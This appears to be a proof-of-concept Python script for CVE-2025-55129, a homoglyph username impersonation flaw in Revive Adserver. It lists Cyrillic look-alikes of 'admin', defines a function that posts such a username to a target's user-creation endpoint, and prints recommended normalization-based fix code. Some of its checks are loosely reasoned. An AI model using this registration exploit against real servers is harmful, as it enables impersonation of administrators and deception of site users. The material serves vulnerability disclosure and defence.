CVE-2025-55129 Revive Adserver用户名同形异义词仿冒漏洞

# CVE-2025-55129 PoC - Homoglyph Username Impersonation # This PoC demonstrates the homoglyph attack on Revive Adserver username handling import requests import json # Target Revive Adserver instance TARGET_URL = "http://target-server/revive-adserver" # Homoglyph usernames - visually identical to 'admin' but using Cyrillic characters HOMOGLYPH_USERNAMES = [ "аdmin", # Cyrillic 'а' (U+0430) instead of Latin 'a' (U+0061) "admіn", # Cyrillic 'і' (U+0456) instead of Latin 'i' (U+0069) "аdmin\u0430", # Multiple Cyrillic replacements ] def check_username_collision(username): """Check if a homoglyph username would be displayed as 'admin'""" # Simulate the display collision # In vulnerable version, these would appear identical to 'admin' normal_admin = "admin" # Unicode normalization check import unicodedata normalized_homoglyph = unicodedata.normalize('NFKC', username) normalized_admin = unicodedata.normalize('NFKC', normal_admin) print(f"[*] Username: {username}") print(f"[*] Normalized: {normalized_homoglyph}") print(f"[*] Matches 'admin': {normalized_homoglyph == normalized_admin}") print(f"[*] Visual match: {len(username) == len(normal_admin)}") return normalized_homoglyph != normalized_admin def exploit_registration(username, password, email): """Attempt to register a homoglyph username""" endpoint = f"{TARGET_URL}/account-user-modify.php" # Registration payload payload = { "username": username, "password": password, "email": email, "submit": "Create" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[!] Potential registration attempt for: {username}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def generate_defense_code(): """Code to fix the vulnerability - implement Unicode normalization""" fix_code = ''' # Recommended fix for username validation import unicodedata import re def safe_username_validation(username): """Secure username validation with Unicode normalization""" # Step 1: Unicode NFC normalization normalized = unicodedata.normalize('NFC', username) # Step 2: Reject usernames with confusable characters CONFUSABLE_RANGES = [ (0x0400, 0x04FF), # Cyrillic (0x0500, 0x052F), # Cyrillic Supplement (0x1F00, 0x1FFF), # Greek Extended ] for char in normalized: codepoint = ord(char) for start, end in CONFUSABLE_RANGES: if start <= codepoint <= end: return False, "Username contains confusable characters" # Step 3: Check against known homoglyph database # Use confusable-homoglyphs library return True, "Username is safe" ''' return fix_code if __name__ == "__main__": print("=" * 60) print("CVE-2025-55129 - Revive Adserver Homoglyph Impersonation PoC") print("=" * 60) print("\n[*] Testing username collision scenarios...") for username in HOMOGLYPH_USERNAMES: check_username_collision(username) print("\n[*] Defense code recommendation:") print(generate_defense_code())